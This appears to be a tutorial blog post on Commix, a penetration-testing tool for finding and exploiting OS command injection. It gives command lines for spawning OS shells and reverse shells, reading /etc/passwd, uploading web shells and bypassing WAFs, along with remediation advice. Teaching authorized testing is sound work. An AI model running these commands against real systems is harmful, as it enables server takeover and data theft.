Commix: A Complete Guide to Automated OS Command Injection and Exploitation
Commix: A Complete Guide to Automated OS Command Injection and Exploitation
Commix (short for Command Injection Exploiter) is an open-source penetration testing tool that automates the detection and exploitation of OS command injection vulnerabilities. Written in Python, it is designed to be an all-in-one solution for identifying and exploiting command injection flaws in web applications, covering GET, POST, HTTP headers, cookies, and more.
Command injection remains one of the most critical vulnerabilities in web applications (OWASP Top 10). It allows an attacker to execute arbitrary operating system commands on the server, leading to full system compromise. Commix simplifies the process of finding and exploiting these flaws, making it an essential tool for penetration testers and bug bounty hunters.
⚠️ Legal and ethical notice: Commix is for authorized security testing, bug bounty programs within scope, CTFs, and systems you own. Unauthorized exploitation of command injection vulnerabilities is illegal and unethical. Always obtain explicit written authorization before testing any system.
Table of Contents
- Why Commix Exists: Automating Command Injection
- Installation
- Basic Usage
- Command Reference
- Injection Techniques
- Targeting Different Request Parts
- Exploitation & Post-Exploitation
- Advanced Options
- Real-World Workflow Examples
- Mitigation & Remediation
- Common Pitfalls & Troubleshooting
- Final Tips
1. Why Commix Exists: Automating Command Injection
Manual command injection testing involves injecting various payloads and analyzing responses—a time-consuming and error-prone process. Commix automates this by:
- Detecting command injection vulnerabilities using a variety of techniques (results-based, time-based, file-based, etc.)
- Exploiting them to execute arbitrary commands
- Providing a pseudo-shell for interactive command execution
- Supporting multiple injection points: GET parameters, POST data, HTTP headers, cookies
- Bypassing filters and WAFs with built-in evasion techniques
Commix is not just a scanner; it is a full exploitation framework for command injection.
2. Installation
Commix is written in Python and runs on Linux, macOS, and Windows.
Kali Linux / Debian (Recommended)
Commix is pre-installed on Kali Linux. If not, install it with:
sudo apt updatesudo apt install commix
From Source (Latest Version)
git clone https://github.com/commixproject/commix.gitcd commixpython commix.py --version
Dependencies
Commix requires Python 2.6+ or 3.x. No additional external libraries are required for core functionality.
Verify Installation
commix --version
Or if running from source:
python commix.py --version
3. Basic Usage
Basic Syntax
commix -u <target_url> [options]
Test a URL for Command Injection
commix -u "http://example.com/page.php?param=value"
Commix will automatically test the parameter param for command injection.
Specify the Vulnerable Parameter
commix -u "http://example.com/page.php?param=value" -p "param"
Use -p to explicitly tell Commix which parameter to test. This speeds up the scan.
POST Request
commix -u "http://example.com/login.php" --data="username=admin&password=pass"
Using a Saved Request File
Capture a request with Burp Suite and save it as request.txt, then:
commix -r request.txt
Non-Interactive Mode
commix -u "http://example.com/page.php?param=value" --batch
The --batch flag accepts default answers to all questions, useful for automation.
Get a Pseudo-Shell
commix -u "http://example.com/page.php?param=value" --os-shell
This attempts to spawn an interactive OS shell on the target.
4. Command Reference
| Option | Description |
|---|---|
-u URL | Target URL |
-p PARAM | Testable parameter(s) |
--data=DATA | POST data |
--cookie=COOKIE | HTTP Cookie header |
--user-agent=UA | Custom User-Agent |
--header=HEADER | Custom header (repeatable) |
--method=METHOD | HTTP method (GET, POST, etc.) |
--os-cmd=CMD | Execute a single OS command |
--os-shell | Spawn an interactive OS shell |
--os-pwn | Attempt to get a reverse shell (meterpreter, etc.) |
--file-upload | Upload a file to the target |
--file-read=FILE | Read a file from the target |
--file-write=FILE | Write a file to the target |
--technique=TECH | Injection technique(s) to use |
--level=LEVEL | Level of tests (1-3, default 1) |
--risk=RISK | Risk of tests (1-3, default 1) |
--batch | Non-interactive mode |
--proxy=PROXY | Use a proxy (e.g., Burp) |
--tor | Use Tor network |
--random-agent | Use a random User-Agent |
--tamper=TAMPER | Use tamper scripts to bypass WAF |
--output-dir=DIR | Output directory for logs |
--flush-session | Clear session data |
--version | Show version |
-h, --help | Show help |
5. Injection Techniques
Commix supports multiple injection techniques to detect and exploit command injection. The --technique option allows you to specify which ones to use. By default, all are tested.
| Technique | Flag | Description |
|---|---|---|
| Results-based | -t R | Uses the output of the injected command in the response |
| Time-based | -t T | Uses time delays to infer command execution |
| File-based | -t F | Uses file operations (read/write) to detect injection |
| Boolean-based | -t B | Uses true/false responses to infer command execution |
| DNS exfiltration | -t D | Uses DNS queries to exfiltrate data |
Example: Use only time-based and results-based techniques
commix -u "http://example.com/page.php?param=value" --technique=RT
6. Targeting Different Request Parts
Commix can inject into various parts of an HTTP request. Use the following options to specify the injection point:
| Request Part | Option | Example |
|---|---|---|
| GET parameter | -p | -p "param" |
| POST data | --data | --data="param=value" |
| Cookie | --cookie | --cookie="session=abc" |
| User-Agent | --user-agent | --user-agent="Mozilla/5.0" |
| Referer | --referer | --referer="http://example.com" |
| Custom header | --header | --header="X-Forwarded-For: 127.0.0.1" |
Example: Test a custom header for command injection
commix -u "http://example.com/" --header="X-Custom-Header: value" -p "X-Custom-Header"
Example: Test a cookie for command injection
commix -u "http://example.com/" --cookie="session=abc" -p "session"
7. Exploitation & Post-Exploitation
Once a vulnerability is confirmed, Commix can exploit it in several ways.
Execute a Single Command
commix -u "http://example.com/page.php?param=value" --os-cmd="whoami"
Get an Interactive OS Shell
commix -u "http://example.com/page.php?param=value" --os-shell
This spawns a pseudo-shell where you can run multiple commands.
Reverse Shell / Meterpreter
commix -u "http://example.com/page.php?param=value" --os-pwn
Commix will attempt to establish a reverse shell or meterpreter session.
File Operations
Read a file:
commix -u "http://example.com/page.php?param=value" --file-read="/etc/passwd"
Write a file:
commix -u "http://example.com/page.php?param=value" --file-write="/var/www/shell.php" --file-content="<php code>"
Upload a file:
commix -u "http://example.com/page.php?param=value" --file-upload="/local/path/shell.php"
8. Advanced Options
Level and Risk
--level(1-3): Controls the number of tests and payloads. Higher levels are more thorough but slower.--risk(1-3): Controls the risk of tests. Higher risk may cause data modification or denial of service.
commix -u "http://example.com/page.php?param=value" --level=3 --risk=2
Tamper Scripts (WAF Bypass)
Commix includes tamper scripts to obfuscate payloads and bypass WAFs. Use --tamper with a script name.
commix -u "http://example.com/page.php?param=value" --tamper="base64encode"
List available tamper scripts with:
commix --list-tampers
Proxy and Tor
commix -u "http://example.com/page.php?param=value" --proxy="http://127.0.0.1:8080"commix -u "http://example.com/page.php?param=value" --tor
Random User-Agent
commix -u "http://example.com/page.php?param=value" --random-agent
Batch Mode for Automation
commix -u "http://example.com/page.php?param=value" --batch --os-cmd="id"
Output Directory
commix -u "http://example.com/page.php?param=value" --output-dir=/tmp/commix_output
9. Real-World Workflow Examples
Example 1: Basic Detection and Exploitation
# Step 1: Detect vulnerabilitycommix -u "http://example.com/page.php?param=value" --batch# Step 2: Execute a commandcommix -u "http://example.com/page.php?param=value" --os-cmd="uname -a"# Step 3: Get a shellcommix -u "http://example.com/page.php?param=value" --os-shell
Example 2: POST Request with Cookie
commix -u "http://example.com/login.php" --data="username=admin&password=pass" --cookie="session=abc" --os-shell
Example 3: Using Burp Suite Request File
commix -r request.txt --os-shell
Example 4: Bypassing a WAF
commix -u "http://example.com/page.php?param=value" --tamper="space2comment" --os-cmd="id"
Example 5: Automated Batch Scan
commix -u "http://example.com/page.php?param=value" --batch --level=3 --risk=2 --os-cmd="whoami"
10. Mitigation & Remediation
To protect against command injection vulnerabilities:
- Avoid system calls – Use language-native APIs instead of shell commands.
- Input validation – Validate and sanitize all user input. Use allowlists, not denylists.
- Parameterized APIs – Use functions that separate commands from arguments (e.g.,
subprocess.runwith a list in Python). - Least privilege – Run web applications with minimal OS privileges.
- WAF – Deploy a Web Application Firewall to block common injection patterns.
- Regular testing – Use Commix and other tools in authorized tests to find and fix vulnerabilities.
11. Common Pitfalls & Troubleshooting
| Issue | Solution |
|---|---|
| No injection point found | Try increasing --level and --risk. Test different parameters, headers, or cookies. |
| False positives | Commix may report a vulnerability that doesn't exist. Manually verify with a simple command like ; sleep 5. |
| WAF blocking | Use --tamper scripts, randomize User-Agent, or use a proxy to bypass. |
| Shell not interactive | Some targets restrict shell access. Try --os-cmd for single commands instead. |
| File operations fail | The web user may lack write permissions. Check the target's filesystem permissions. |
| Commix hangs | Use --batch to avoid interactive prompts, and set a timeout. |
| Python errors | Ensure you are using the latest version of Commix. Some features may require Python 3. |
12. Final Tips
- Always verify manually. Commix is powerful but can produce false positives. Confirm findings before reporting.
- Use `--batch` for automation. It accepts default answers and speeds up scans.
- Combine with other tools. Use Commix after discovering parameters with Arjun, or after finding a suspicious endpoint with ffuf.
- Save sessions. Commix saves session data; use
--flush-sessionto start fresh. - Leverage Burp. Capture requests in Burp, save them to a file, and feed them to Commix with
-r. - Stay legal. Only test systems you have permission to test. Unauthorized command injection is a serious crime.
- Keep Commix updated. New bypass techniques and features are added regularly.
Official Resources:
- GitHub: github.com/commixproject/commix
- Kali Linux Tool Page: kali.org/tools/commix
- Documentation: github.com/commixproject/commix/wiki
- OWASP Command Injection: owasp.org/www-community/attacks/Command_Injection
Remember: Command injection is a critical vulnerability. Commix automates its discovery and exploitation, but with great power comes great responsibility. Always obtain written authorization before testing any system.
Author
Discussion · 0
No comments yet — start the discussion.
Sign in to join the discussion.